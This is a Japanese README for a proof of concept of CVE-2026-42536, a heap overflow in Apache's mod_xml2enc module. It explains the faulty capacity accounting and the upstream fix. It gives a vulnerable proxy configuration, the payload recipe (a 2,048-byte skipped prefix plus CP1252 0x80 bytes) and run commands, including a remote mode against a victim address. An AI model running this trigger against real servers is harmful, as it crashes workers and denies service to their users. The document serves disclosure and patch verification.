mod_xml2enc ヒープオーバーフロー PoCこのリポジトリには、Apache HTTP Server の mod_xml2enc モジュールにおけるヒープベースの境界外書き込みである CVE-2026-42536 の制御された概念実証が含まれています。Apache HTTP Server のバージョン 2.4.0 から 2.4.67 が影響を受け、バージョン 2.4.68 にはアップストリームの修正が含まれています。
実証される結果は、メモリ破壊とそれに続く Apache ワーカーのクラッシュです。繰り返しトリガーするとサービス拒否を引き起こす可能性があります。この PoC は、リモートコード実行、権限昇格、またはリバースシェルを実証するものではありません。
この PoC は、Apache ワーカーをクラッシュさせる可能性のあるコンテンツを意図的に送信します。自分が所有する、または明示的にテストを許可されている使い捨ての隔離された環境でのみ実行してください。本番環境や第三者のシステムに対して実行しないでください。
このスクリプトはデフォルトでループバック操作のみを許可します。リモート操作には明示的な --allow-remote フラグが必要ですが、このフラグは許可の代替にはなりません。
xml2StartParse は、設定された開始要素の前にあるバイトをスキップするよう mod_xml2enc に指示することができます。Apache HTTP Server 2.4.67 では、fix_skipto() は出力バッファポインタを進め、有効なデータ量を減らしますが、出力容量を同じオフセット分だけ減らしません:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
そのため、後続の文字セット変換は、ctx->buf がそのアロケーション内を指しているにもかかわらず、元のアロケーションから測定された容量を受け取ります。この PoC は、以下を組み合わせることでこの不一致を観測可能にします:
xml2StartParse html によってスキップされる 2,048 バイトのプレフィックス。charset=windows-1252 を宣言する Content-Type。0x80。これは 1 バイトの CP1252 からユーロ記号の 3 バイト UTF-8 エンコーディングに拡張されます。この拡張変換は古い容量を消費し、進められたポインタの後に実際に残っている空間を超えて書き込む可能性があります。
Apache 2.4.68 は、スキップされたオフセットを ctx->bblen から減算することでこの会計エラーを修正しています:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
この PoC は 2 つの HTTP コンポーネントを使用します:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache は以下のモジュールをロードする必要があります:
filter
proxy
proxy_http
xml2enc
以下の設定は、隔離された Apache 2.4.67 以前のラボでのみ使用してください:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
デフォルト設定では、poc.py が Apache と同じホストまたはコンテナネットワーク名前空間で実行されることを想定しています。ポート 18081 はペイロードバックエンドです。リクエストは、フィルタリングされた Apache ルートのポート 18080 に送信する必要があります。
脆弱な Apache インスタンスを起動し、同じ使い捨てホストまたはコンテナから PoC を実行します:
python3 poc.py
デフォルト値は以下と同等です:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
2 台構成の許可されたラボの場合、ペイロードバックエンドを Apache から到達可能にし、ProxyPass/ProxyPassReverse を攻撃者のラボ IP を使用するように更新します。次に、バックエンドをバインドし、ラボの Apache アドレスを明示的にターゲットにします:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
バックエンドポートを隔離されたテストネットワークの外に公開しないでください。
PoC の実行中に Apache を監視します。ビルドとプロセスマネージャによっては、親プロセスがクラッシュしたワーカーを置き換える間、クライアントリクエストが失敗したり、リセットされたり、部分的なデータを返したりする可能性があります。
テストされた脆弱なビルドからの典型的な証拠には以下が含まれていました:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
systemd で管理されたインストールの場合:
sudo journalctl -u apache2 -f
フォアグラウンドの Docker コンテナの場合:
docker logs -f CONTAINER_NAME
ワーカー PID の入れ替わりは追加のシグナルとなります:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
トランスポートの失敗だけでは脆弱性の証明にはなりません。Apache のエラーログ、システムジャーナル、サニタイザの出力、またはコアダンプでクラッシュを確認してください。
同じモジュールとバーチャルホスト設定で、Apache HTTP Server 2.4.68 に対して同じリクエストを繰り返します。ペイロードバックエンドは依然としてリクエストを受信するはずですが、出力容量が進められたポインタとともに削減されるため、Apache ワーカーは生存し続けるはずです。
親プロセスがワーカーを自動的に置き換えない場合は、使い捨てラボのサービスのみを再起動します:
sudo systemctl restart apache2
または、使い捨てコンテナを再起動します:
docker restart CONTAINER_NAME